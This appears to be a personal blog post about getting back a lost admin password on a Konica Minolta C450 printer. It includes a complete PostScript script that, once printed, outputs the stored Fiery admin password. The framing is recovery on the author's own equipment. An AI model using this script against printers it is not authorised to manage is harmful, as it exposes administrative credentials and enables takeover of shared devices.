[Konika Minolta C450 Printer] The lost admin password

Since the company where Im now employed kicked out the old IT-support company, I have had a lot of cleaning up to do. To say it nicely, the previous maintainers of our servers and computers were a bunch of amateurs. Without further details, they decided to change the setup admin password to our C450 printer, needless to say, they did not write it down.

So afters trying various possible passwords over and over again, we called the support company that sold us the printer. We were told there is no way of recovering the password, other than having Konica Minolta send a technician over to do a full system reset, including re-installing the system software. Refusing to accept this as the only solution, the game was on. After a bit of research, with a file containing this:

%!PS-Adobe-2.0
%%For: Operator
%%Title: Security Violation
%%EndComments
100 100 moveto
/Courier findfont 20 scalefont setfont
userdict /FieryXJdict known
{ (Password = ") show (PASSWORD) FieryXJdict /getfierysysdict get exec show (") show }
{ (Couldn't find password) show } ifelse
showpage

After uploading a file called passwd.ps (notice the extension) containing the aforementioned script to the printer using the built-in OS X print queue, I had a nice little gift waiting for me by the printer. Password recovery at its best. 
Finally, it works!
